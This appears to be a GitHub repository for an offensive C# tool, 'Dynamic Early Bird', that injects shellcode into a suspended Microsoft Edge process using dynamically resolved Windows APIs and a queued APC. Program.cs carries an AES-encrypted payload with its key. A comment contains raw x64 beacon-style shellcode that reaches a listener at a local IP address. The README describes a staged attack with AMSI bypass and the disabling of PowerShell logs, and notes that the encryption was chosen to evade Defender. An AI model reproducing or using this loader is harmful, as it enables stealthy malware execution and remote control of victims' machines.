/Encrypt.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Security.Cryptography; 3 | using System.Text; 4 | using System.IO; 5 | 6 | namespace DynamicInvoke 7 | { 8 | // https://stackoverflow.com/questions/53653510/c-sharp-aes-encryption-byte-array 9 | public static class Crypto 10 | { 11 | 12 | public static byte[] Encrypt(byte[] data, byte[] key, byte[] iv) 13 | { 14 | using (var aes = Aes.Create()) 15 | { 16 | aes.KeySize = 128; 17 | aes.BlockSize = 128; 18 | aes.Padding = PaddingMode.PKCS7; 19 | 20 | aes.Key = key; 21 | aes.IV = iv; 22 | 23 | using (var encryptor = aes.CreateEncryptor(aes.Key, aes.IV)) 24 | { 25 | return PerformCryptography(data, encryptor); 26 | } 27 | } 28 | } 29 | 30 | public static byte[] Decrypt(byte[] data, byte[] key, byte[] iv) 31 | { 32 | using (var aes = Aes.Create()) 33 | { 34 | aes.KeySize = 128; 35 | aes.BlockSize = 128; 36 | aes.Padding = PaddingMode.PKCS7; 37 | 38 | aes.Key = key; 39 | aes.IV = iv; 40 | 41 | using (var decryptor = aes.CreateDecryptor(aes.Key, aes.IV)) 42 | { 43 | return PerformCryptography(data, decryptor); 44 | } 45 | } 46 | } 47 | 48 | private static byte[] PerformCryptography(byte[] data, ICryptoTransform cryptoTransform) 49 | { 50 | using (var ms = new MemoryStream()) 51 | using (var cryptoStream = new CryptoStream(ms, cryptoTransform, CryptoStreamMode.Write)) 52 | { 53 | cryptoStream.Write(data, 0, data.Length); 54 | cryptoStream.FlushFinalBlock(); 55 | 56 | return ms.ToArray(); 57 | } 58 | } 59 | } 60 | } 61 | -------------------------------------------------------------------------------- /Program.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Text; 3 | using System.Runtime.InteropServices; 4 | using System.Security.Cryptography; 5 | 6 | namespace DynamicInvoke 7 | { 8 | public static class Program 9 | { 10 | // spawn MSEdge 11 | public static string ProcessToSpawn = "C:\\Program Files (x86)\\Microsoft\\Edge\\Application\\msedge.exe"; 12 | public static string ProcessArgs = @"--profile-directory=Default"; 13 | public static string startDir = "C:\\Program Files (x86)\\Microsoft\\Edge\\Application"; 14 | 15 | public enum Protection 16 | { 17 | PAGE_NOACCESS = 0x01, 18 | PAGE_READONLY = 0x02, 19 | PAGE_READWRITE = 0x04, 20 | PAGE_WRITECOPY = 0x08, 21 | PAGE_EXECUTE = 0x10, 22 | PAGE_EXECUTE_READ = 0x20, 23 | PAGE_EXECUTE_READWRITE = 0x40, 24 | PAGE_EXECUTE_WRITECOPY = 0x80, 25 | PAGE_GUARD = 0x100, 26 | PAGE_NOCACHE = 0x200, 27 | PAGE_WRITECOMBINE = 0x400 28 | } 29 | 30 | static bool ByteArrayCompare(byte[] a1, byte[] a2) 31 | { 32 | if (a1.Length != a2.Length) 33 | return false; 34 | 35 | for (int i = 0; i < a1.Length; i++) 36 | if (a1[i] != a2[i]) 37 | return false; 38 | 39 | return true; 40 | } 41 | 42 | public static void Main(string[] args) 43 | { 44 | string shellcode = "N3yNZmtoK8uLHVZPs4zQgJ7CjFogrJvDxoXxZE4HmhPH0gXUTgMHuRJkUEoaEzryDmYApP4yTmxSDpNJt7bto0MgW6b99EOO9ZJa93CBB6XrIEg4H77/6oM2zJizdCAB0kPOvi+4iKyTevFK66SAb5v+0DUGKqF7xzLyuAypq+OYP9Yz6/ZRdvytcNYNtaAl6sn8a1huM4s/95aGJX+JXxr8u1MrBjxtaAB6PfuOlrGn5Z6WhrBl2ZbL9FZIkkUfS0k1EqFgun+jEE+YgcJwI9+DtSubcY0B9CJyENvTOMBTapi+E582eNTemj0eNQSO6GqnTi6hswwENqG+YO3YTImT9T9qOzcbJH+d2B2ECi9kcltXoLBPcUDjQNTfQLEnxA7gTLjBJgy4ck5//LPy+GxzZ0cZ/m5c7N/LyZ/Xicyhm5A+g+Q+hNUMJYwzp6hC8UGOFNbhRNbFlpqm8unUVJtbYxR9JVfizZ+ro0nmzwK+h1iKMSrTNHMgoDuOIoOlozsnSCr1beHTHGDxxlFySJI+0TeTM6y0gFkQSj0Ip1PcYL/Vv2H9bO7Vw3YEp11JAL6nr2Rbs4NdRu+2eHZ0jllUJ+xyQJetQ1vR+aNjQL4fCpJ2lYXsPSGs9od9XcrE9Clq4pSVa9Nnds46/yUeS5ofPpdQzjIVNAjxKZJQuYRdZPZATCgrG7YcQg2iMEydE/jcbIK6uA1UWLR0Z/32dzDtYVSghKAgQAuwdjtn5eJUo//KrV2zSHHHuayWoCIaxa9FwyS3NnfXE+kagL9G7/PdyMOMbvCIt2YSfTRM7DVewt8Qll4CDY64fk7TClLeASi6I3c+BhElMadZDxDq24uC0bNMmGhHX1j/OsPMBlw53DhUWh6Q5Gnp8kG5RU8CQ9R6QqX8IxPgBxXVRDwDC7tTYK2e2u66ZPVGPF45rgnUBbmQZsM1icnXAKYLW7SZ6LpejVF4F3OKNO8ORg9IHP4k0hHUAq0tOe3KvtGowNLsrOX/Zz1KDRXJ4WyHzk7ONtmJ3fzlf9jin6VJLpeuuOoh4Pzw4ZLXlWTlAaBRQ0t0BlNnVNS8ZFNcfhAo1AXJmQOP7VfVFBfg4SikhQvUMFY+gwWlWiJSlHO0dZgbDKizlD3ceMqv6C9f7uKzlJC5IuRpSTppSzoLpkPywIv2GTcn2UBJ7OqPR+YFcdyG7B1FvOysyst5vVPFhsnnSJ0y4nK6onTSnw72KOADDJWNQQ=="; 45 | string shellkey = "XxjpkQJ5lK91czeMOo248FKuegl4rrQc"; 46 | 47 | byte[] tempKey = Encoding.ASCII.GetBytes(shellkey); 48 | tempKey = SHA256.Create().ComputeHash(tempKey); 49 | 50 | byte[] tempIV = new byte[16]; 51 | Buffer.BlockCopy(tempKey, 0, tempIV, 0, 16); 52 | 53 | // to encrypt shellcode, use: 54 | //byte[] raw_beacon = new byte[926] { 0xfc, 0x48, 0x83, 0xe4, 0xf0, 0xe8, 0xc8, 0x00, 0x00, 0x00, 0x41, 0x51, 0x41, 0x50, 0x52, 0x51, 0x56, 0x48, 0x31, 0xd2, 0x65, 0x48, 0x8b, 0x52, 0x60, 0x48, 0x8b, 0x52, 0x18, 0x48, 0x8b, 0x52, 0x20, 0x48, 0x8b, 0x72, 0x50, 0x48, 0x0f, 0xb7, 0x4a, 0x4a, 0x4d, 0x31, 0xc9, 0x48, 0x31, 0xc0, 0xac, 0x3c, 0x61, 0x7c, 0x02, 0x2c, 0x20, 0x41, 0xc1, 0xc9, 0x0d, 0x41, 0x01, 0xc1, 0xe2, 0xed, 0x52, 0x41, 0x51, 0x48, 0x8b, 0x52, 0x20, 0x8b, 0x42, 0x3c, 0x48, 0x01, 0xd0, 0x66, 0x81, 0x78, 0x18, 0x0b, 0x02, 0x75, 0x72, 0x8b, 0x80, 0x88, 0x00, 0x00, 0x00, 0x48, 0x85, 0xc0, 0x74, 0x67, 0x48, 0x01, 0xd0, 0x50, 0x8b, 0x48, 0x18, 0x44, 0x8b, 0x40, 0x20, 0x49, 0x01, 0xd0, 0xe3, 0x56, 0x48, 0xff, 0xc9, 0x41, 0x8b, 0x34, 0x88, 0x48, 0x01, 0xd6, 0x4d, 0x31, 0xc9, 0x48, 0x31, 0xc0, 0xac, 0x41, 0xc1, 0xc9, 0x0d, 0x41, 0x01, 0xc1, 0x38, 0xe0, 0x75, 0xf1, 0x4c, 0x03, 0x4c, 0x24, 0x08, 0x45, 0x39, 0xd1, 0x75, 0xd8, 0x58, 0x44, 0x8b, 0x40, 0x24, 0x49, 0x01, 0xd0, 0x66, 0x41, 0x8b, 0x0c, 0x48, 0x44, 0x8b, 0x40, 0x1c, 0x49, 0x01, 0xd0, 0x41, 0x8b, 0x04, 0x88, 0x48, 0x01, 0xd0, 0x41, 0x58, 0x41, 0x58, 0x5e, 0x59, 0x5a, 0x41, 0x58, 0x41, 0x59, 0x41, 0x5a, 0x48, 0x83, 0xec, 0x20, 0x41, 0x52, 0xff, 0xe0, 0x58, 0x41, 0x59, 0x5a, 0x48, 0x8b, 0x12, 0xe9, 0x4f, 0xff, 0xff, 0xff, 0x5d, 0x6a, 0x00, 0x49, 0xbe, 0x77, 0x69, 0x6e, 0x69, 0x6e, 0x65, 0x74, 0x00, 0x41, 0x56, 0x49, 0x89, 0xe6, 0x4c, 0x89, 0xf1, 0x41, 0xba, 0x4c, 0x77, 0x26, 0x07, 0xff, 0xd5, 0x48, 0x31, 0xc9, 0x48, 0x31, 0xd2, 0x4d, 0x31, 0xc0, 0x4d, 0x31, 0xc9, 0x41, 0x50, 0x41, 0x50, 0x41, 0xba, 0x3a, 0x56, 0x79, 0xa7, 0xff, 0xd5, 0xe9, 0x93, 0x00, 0x00, 0x00, 0x5a, 0x48, 0x89, 0xc1, 0x41, 0xb8, 0xbb, 0x01, 0x00, 0x00, 0x4d, 0x31, 0xc9, 0x41, 0x51, 0x41, 0x51, 0x6a, 0x03, 0x41, 0x51, 0x41, 0xba, 0x57, 0x89, 0x9f, 0xc6, 0xff, 0xd5, 0xeb, 0x79, 0x5b, 0x48, 0x89, 0xc1, 0x48, 0x31, 0xd2, 0x49, 0x89, 0xd8, 0x4d, 0x31, 0xc9, 0x52, 0x68, 0x00, 0x32, 0xc0, 0x84, 0x52, 0x52, 0x41, 0xba, 0xeb, 0x55, 0x2e, 0x3b, 0xff, 0xd5, 0x48, 0x89, 0xc6, 0x48, 0x83, 0xc3, 0x50, 0x6a, 0x0a, 0x5f, 0x48, 0x89, 0xf1, 0xba, 0x1f, 0x00, 0x00, 0x00, 0x6a, 0x00, 0x68, 0x80, 0x33, 0x00, 0x00, 0x49, 0x89, 0xe0, 0x41, 0xb9, 0x04, 0x00, 0x00, 0x00, 0x41, 0xba, 0x75, 0x46, 0x9e, 0x86, 0xff, 0xd5, 0x48, 0x89, 0xf1, 0x48, 0x89, 0xda, 0x49, 0xc7, 0xc0, 0xff, 0xff, 0xff, 0xff, 0x4d, 0x31, 0xc9, 0x52, 0x52, 0x41, 0xba, 0x2d, 0x06, 0x18, 0x7b, 0xff, 0xd5, 0x85, 0xc0, 0x0f, 0x85, 0x9d, 0x01, 0x00, 0x00, 0x48, 0xff, 0xcf, 0x0f, 0x84, 0x8c, 0x01, 0x00, 0x00, 0xeb, 0xb3, 0xe9, 0xe4, 0x01, 0x00, 0x00, 0xe8, 0x82, 0xff, 0xff, 0xff, 0x2f, 0x36, 0x39, 0x75, 0x79, 0x00, 0x96, 0xcf, 0x96, 0x39, 0xb3, 0x80, 0x0f, 0xb9, 0x08, 0x29, 0x69, 0x56, 0x74, 0x8f, 0x5b, 0xc5, 0x94, 0xc2, 0xa0, 0x4a, 0x77, 0xb0, 0x8a, 0x95, 0xc7, 0x27, 0xfe, 0xdb, 0x83, 0xd1, 0xfc, 0x11, 0x53, 0xb9, 0xef, 0x63, 0xa6, 0xd2, 0xf7, 0xdb, 0x84, 0xa3, 0x41, 0x4d, 0xb2, 0x7c, 0x09, 0x1e, 0x5b, 0x9e, 0xc5, 0x16, 0x1d, 0x89, 0x11, 0xbc, 0x86, 0xf7, 0x60, 0xf5, 0x9d, 0x4a, 0xdd, 0x7b, 0xa3, 0x1a, 0xee, 0x3a, 0x9c, 0x29, 0xbb, 0x89, 0xe5, 0x00, 0x55, 0x73, 0x65, 0x72, 0x2d, 0x41, 0x67, 0x65, 0x6e, 0x74, 0x3a, 0x20, 0x4d, 0x6f, 0x7a, 0x69, 0x6c, 0x6c, 0x61, 0x2f, 0x34, 0x2e, 0x30, 0x20, 0x28, 0x63, 0x6f, 0x6d, 0x70, 0x61, 0x74, 0x69, 0x62, 0x6c, 0x65, 0x3b, 0x20, 0x4d, 0x53, 0x49, 0x45, 0x20, 0x37, 0x2e, 0x30, 0x3b, 0x20, 0x57, 0x69, 0x6e, 0x64, 0x6f, 0x77, 0x73, 0x20, 0x4e, 0x54, 0x20, 0x36, 0x2e, 0x30, 0x3b, 0x20, 0x54, 0x72, 0x69, 0x64, 0x65, 0x6e, 0x74, 0x2f, 0x34, 0x2e, 0x30, 0x29, 0x0d, 0x0a, 0x00, 0xda, 0xe8, 0xfa, 0xef, 0x6c, 0x8a, 0x0b, 0x49, 0x18, 0xac, 0x2f, 0x40, 0xab, 0x1f, 0xd5, 0x5e, 0x6a, 0x41, 0x7d, 0x4c, 0x8e, 0xb0, 0xf5, 0xe0, 0xa0, 0x71, 0xf0, 0x38, 0xcb, 0x6b, 0x3b, 0x7b, 0x2c, 0x2f, 0x81, 0x02, 0x3f, 0x8c, 0xf5, 0xb6, 0xe7, 0xdf, 0x6c, 0x1f, 0xdb, 0x9f, 0xc7, 0x7d, 0xf0, 0x7b, 0x2b, 0x71, 0x51, 0x95, 0x36, 0x7b, 0xf0, 0xcb, 0x10, 0x20, 0x74, 0x09, 0x1c, 0x0a, 0xaa, 0x13, 0x56, 0x1e, 0x73, 0xeb, 0xe9, 0x55, 0x0f, 0x76, 0xa5, 0x65, 0x8f, 0x30, 0x59, 0x0e, 0xee, 0xf2, 0x02, 0x71, 0x14, 0x43, 0x31, 0xbc, 0xdf, 0x37, 0x3c, 0x2d, 0x8f, 0x5e, 0x58, 0x7a, 0x61, 0xf1, 0x22, 0xe3, 0xc7, 0x0a, 0x22, 0xe6, 0xb8, 0xaf, 0x1e, 0x15, 0xb0, 0x0a, 0x23, 0xe0, 0x79, 0x80, 0xd2, 0x71, 0xcb, 0xdc, 0x58, 0x5b, 0x3b, 0x0a, 0x0c, 0xd4, 0x02, 0x1d, 0x22, 0x74, 0xe5, 0x2d, 0x0f, 0x1c, 0xcc, 0x75, 0xcf, 0xfc, 0x30, 0x53, 0xbc, 0xeb, 0xb0, 0x76, 0x5c, 0xfb, 0xbb, 0x3b, 0x9f, 0x28, 0x49, 0xc6, 0x33, 0xfe, 0x8e, 0x91, 0x13, 0x49, 0xfa, 0x44, 0x64, 0x86, 0xf1, 0x4a, 0x2a, 0x7f, 0x78, 0xbe, 0x1c, 0x43, 0xa5, 0xed, 0xdd, 0xab, 0x51, 0x6c, 0x30, 0x1e, 0xa1, 0x44, 0xc6, 0x39, 0x4a, 0x33, 0xad, 0xd1, 0x82, 0xe2, 0x3c, 0x7a, 0x47, 0xdf, 0xa3, 0x97, 0xb9, 0xaf, 0xdc, 0xef, 0xb9, 0x14, 0xce, 0x30, 0xc4, 0xfa, 0x4c, 0xa2, 0x8c, 0x45, 0xc7, 0x71, 0xf0, 0x5a, 0x5a, 0x9c, 0x2b, 0x31, 0x24, 0x89, 0x3f, 0x42, 0x72, 0x73, 0x5d, 0x15, 0x40, 0xa2, 0xd2, 0x00, 0x41, 0xbe, 0xf0, 0xb5, 0xa2, 0x56, 0xff, 0xd5, 0x48, 0x31, 0xc9, 0xba, 0x00, 0x00, 0x40, 0x00, 0x41, 0xb8, 0x00, 0x10, 0x00, 0x00, 0x41, 0xb9, 0x40, 0x00, 0x00, 0x00, 0x41, 0xba, 0x58, 0xa4, 0x53, 0xe5, 0xff, 0xd5, 0x48, 0x93, 0x53, 0x53, 0x48, 0x89, 0xe7, 0x48, 0x89, 0xf1, 0x48, 0x89, 0xda, 0x41, 0xb8, 0x00, 0x20, 0x00, 0x00, 0x49, 0x89, 0xf9, 0x41, 0xba, 0x12, 0x96, 0x89, 0xe2, 0xff, 0xd5, 0x48, 0x83, 0xc4, 0x20, 0x85, 0xc0, 0x74, 0xb6, 0x66, 0x8b, 0x07, 0x48, 0x01, 0xc3, 0x85, 0xc0, 0x75, 0xd7, 0x58, 0x58, 0x58, 0x48, 0x05, 0x00, 0x00, 0x00, 0x00, 0x50, 0xc3, 0xe8, 0x7f, 0xfd, 0xff, 0xff, 0x31, 0x39, 0x32, 0x2e, 0x31, 0x36, 0x38, 0x2e, 0x31, 0x2e, 0x37, 0x39, 0x00, 0x3a, 0xde, 0x68, 0xb1 }; 55 | //string shellcode = Convert.ToBase64String(Crypto.Encrypt(buf2, tempKey, tempIV)); 56 | //return; 57 | 58 | byte[] buf = Crypto.Decrypt(Convert.FromBase64String(shellcode), tempKey, tempIV); 59 | 60 | IntPtr pointer; 61 | 62 | // create the delegate references 63 | pointer = Invoke.GetLibraryAddress("kernel32.dll", "CreateProcessA"); 64 | DELEGATES.CreateProcess CreateProcess = Marshal.GetDelegateForFunctionPointer(pointer, typeof(DELEGATES.CreateProcess)) as DELEGATES.CreateProcess; 65 | 66 | pointer = Invoke.GetLibraryAddress("kernel32.dll", "VirtualAllocEx"); 67 | DELEGATES.VirtualAllocEx VirtualAllocEx = Marshal.GetDelegateForFunctionPointer(pointer, typeof(DELEGATES.VirtualAllocEx)) as DELEGATES.VirtualAllocEx; 68 | 69 | pointer = Invoke.GetLibraryAddress("kernel32.dll", "WriteProcessMemory"); 70 | DELEGATES.WriteProcessMemory WriteProcessMemory = Marshal.GetDelegateForFunctionPointer(pointer, typeof(DELEGATES.WriteProcessMemory)) as DELEGATES.WriteProcessMemory; 71 | 72 | pointer = Invoke.GetLibraryAddress("kernel32.dll", "VirtualProtectEx"); 73 | DELEGATES.VirtualProtectEx VirtualProtectEx = Marshal.GetDelegateForFunctionPointer(pointer, typeof(DELEGATES.VirtualProtectEx)) as DELEGATES.VirtualProtectEx; 74 | 75 | pointer = Invoke.GetLibraryAddress("kernel32.dll", "QueueUserAPC"); 76 | DELEGATES.QueueUserAPC QueueUserAPC = Marshal.GetDelegateForFunctionPointer(pointer, typeof(DELEGATES.QueueUserAPC)) as DELEGATES.QueueUserAPC; 77 | 78 | pointer = Invoke.GetLibraryAddress("kernel32.dll", "ResumeThread"); 79 | DELEGATES.ResumeThread ResumeThread = Marshal.GetDelegateForFunctionPointer(pointer, typeof(DELEGATES.ResumeThread)) as DELEGATES.ResumeThread; 80 | 81 | // dynamically invoke the Win32 APIs 82 | #if DEBUG 83 | Console.WriteLine("[*] (DInvoke) CreateProcess"); 84 | #endif 85 | STRUCTS.STARTUPINFO si = new STRUCTS.STARTUPINFO(); 86 | STRUCTS.PROCESS_INFORMATION pi = new STRUCTS.PROCESS_INFORMATION(); 87 | STRUCTS.SECURITY_ATTRIBUTES lpa = new STRUCTS.SECURITY_ATTRIBUTES(); 88 | STRUCTS.SECURITY_ATTRIBUTES lta = new STRUCTS.SECURITY_ATTRIBUTES(); 89 | 90 | bool result = CreateProcess(ProcessToSpawn, ProcessArgs, ref lpa, ref lta, false, STRUCTS.ProcessCreationFlags.CREATE_NEW_CONSOLE | STRUCTS.ProcessCreationFlags.CREATE_SUSPENDED, IntPtr.Zero, startDir, ref si, out pi); 91 | 92 | #if DEBUG 93 | Console.WriteLine("[*] Process ID: {0}", pi.dwProcessId); 94 | Console.WriteLine("[*] Thread ID: {0}", pi.dwThreadId); 95 | Console.WriteLine("[*] (DInvoke) VirtualAllocEx"); 96 | #endif 97 | IntPtr addr = VirtualAllocEx(pi.hProcess, IntPtr.Zero, (uint)buf.Length, 0x1000, Protection.PAGE_READWRITE); 98 | #if DEBUG 99 | Console.WriteLine("[*] Address: 0x{0}", addr.ToString("X")); 100 | Console.WriteLine("[*] Protection: PAGE_READWRITE"); 101 | Console.WriteLine("[*] (DInvoke) WriteProcessMemory"); 102 | #endif 103 | 104 | 105 | WriteProcessMemory(pi.hProcess, addr, buf, buf.Length, out IntPtr bytesWritten); 106 | 107 | #if DEBUG 108 | Console.WriteLine("[*] Written to Address: 0x{0}", addr.ToString("X")); 109 | 110 | Console.WriteLine("[*] (DInvoke) VirtualProtectEx"); 111 | #endif 112 | VirtualProtectEx(pi.hProcess, addr, buf.Length, Protection.PAGE_EXECUTE_READ, out Protection p); 113 | #if DEBUG 114 | Console.WriteLine("[*] Protection: PAGE_EXECUTE_READ"); 115 | Console.WriteLine("[*] (DInvoke) QueueUserAPC"); 116 | #endif 117 | QueueUserAPC(addr, pi.hThread, IntPtr.Zero); 118 | 119 | #if DEBUG 120 | Console.WriteLine("[*] (DInvoke) ResumeThread: 0x{0}", pi.hThread.ToString("X")); 121 | #endif 122 | ResumeThread(pi.hThread); 123 | #if DEBUG 124 | Console.WriteLine("[*] We should have shellcode execution..."); 125 | Console.ReadKey(); 126 | #endif 127 | } 128 | } 129 | } 130 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | Screenshot 2023-11-24 at 14 17 08 2 | 3 | # Dynamic Early Bird 4 | An example of a Dynamic Invoke shellcode injection technique using C#. 5 | 6 | If you do use any of the code in these repositories **keep it legal!** 7 | 8 | ## Introduction 9 | 10 | I have been researching different techniques on injecting shellcode into memory as part of a staged attack. It looked a bit like this: 11 | 12 | **PowerShell cradle -> Disable PowerShell Logs -> AMSI Bypass -> Load .Net Harness -> Inject Stage 1 Shellcode** 13 | 14 | I had generally been using P/Invoke, and occassionally Syscalls, but I wanted to try out Dynamic Invoke with obfuscation as part of my Anti-Malware evasion strategies. 15 | 16 | ### D/Invoke 17 | 18 | D/Invoke is a technique used in offensive security, particularly within the context of the Windows platform. D/Invoke (Dynamic Invoke) is a library that allows us to dynamically invoke native Windows API functions directly from memory, avoiding the need for importing functions from DLLs at compile time. 19 | 20 | I first read about D/Invoke On [The Wovers Blog](https://thewover.github.io/Dynamic-Invoke/). The code for the [DInvoke.cs](https://github.com/plackyhacker/DynamicEarlyBird/blob/main/DInvoke.cs) file was taken from [Red Team Cafe](https://www.redteam.cafe/red-team/shellcode-injection/process-hollowing-dinvoke). I am not sure of the origins of this code, if I find it I will update the reference. 21 | 22 | ### Earlybird 23 | 24 | The Early Bird shellcode injection technique involves injecting malicious shellcode into a process's memory space before the process properly initialises or executes. This method allows the injected code to run early in the process's execution. 25 | 26 | It aims to evade detection and increase the chances of successful exploitation by executing malicious actions at an early stage of process execution. 27 | 28 | This exampe shows how we can use D/Invoke to start a new process in a suspended state, inject our shellcode and queue a User APC. 29 | 30 | A User APC (Asynchronous Procedure Call) refers to a mechanism in Windows operating systems where a user-mode application can schedule a user-mode function or procedure to execute asynchronously within a specific thread context. 31 | 32 | When the target thread enters an alertable state (when we resume the thread) it executes the User APC. We queue our User APC using the `QueueUserAPC` Win32 API: 33 | 34 | ### The Code 35 | 36 | There are three classes implementing this example code: 37 | 38 | [Program.cs](https://github.com/plackyhacker/DynamicEarlyBird/blob/main/Program.cs): This is the main program that calls the function pointers/delegates. 39 | 40 | [DInvoke.cs](https://github.com/plackyhacker/DynamicEarlyBird/blob/main/DInvoke.cs): This is where the magic happens, and where we need to declare our delegates. 41 | 42 | [Encrypt.cs](https://github.com/plackyhacker/DynamicEarlyBird/blob/main/Encrypt.cs): ~~This is just a very basic XOR implementation, any encryption algorythm could be used~~. I changed the encryption to use AES, it seems that Defender gets very suspicious with XOR'd strings (I know I would)! 43 | 44 | **Enjoy!** 45 | --------------------------------------------------------------------------------